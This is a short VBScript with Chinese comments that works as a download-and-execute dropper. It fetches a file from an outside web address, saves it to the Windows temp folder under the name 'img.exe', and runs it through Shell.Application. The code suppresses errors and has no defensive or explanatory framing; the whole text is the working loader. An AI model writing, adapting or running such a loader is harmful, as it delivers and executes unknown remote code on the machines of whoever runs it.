'on error resume next 
dl = http://www.49028c.com/index.htm '這是要下載的文件的路徑
str="Microsoft.XMLHTTP" 
Set x = CreateObject(str) 
Set x = CreateObject(str) 
set S = createobject("adodb.stream") 
S.type = 1 
x.Open "GET", dl, False 
x.Send() 
fname1="img.exe" 
set F = createobject("Scripting.FileSystemObject") 
set tmp = F.GetSpecialFolder(2) '緩存 
fname1= F.BuildPath(tmp,fname1) 
S.open 
S.write x.responseBody 
S.savetofile fname1,2 
msgbox fname1 
S.close 
set Q = createobject("Shell.Application") 
Q.ShellExecute fname1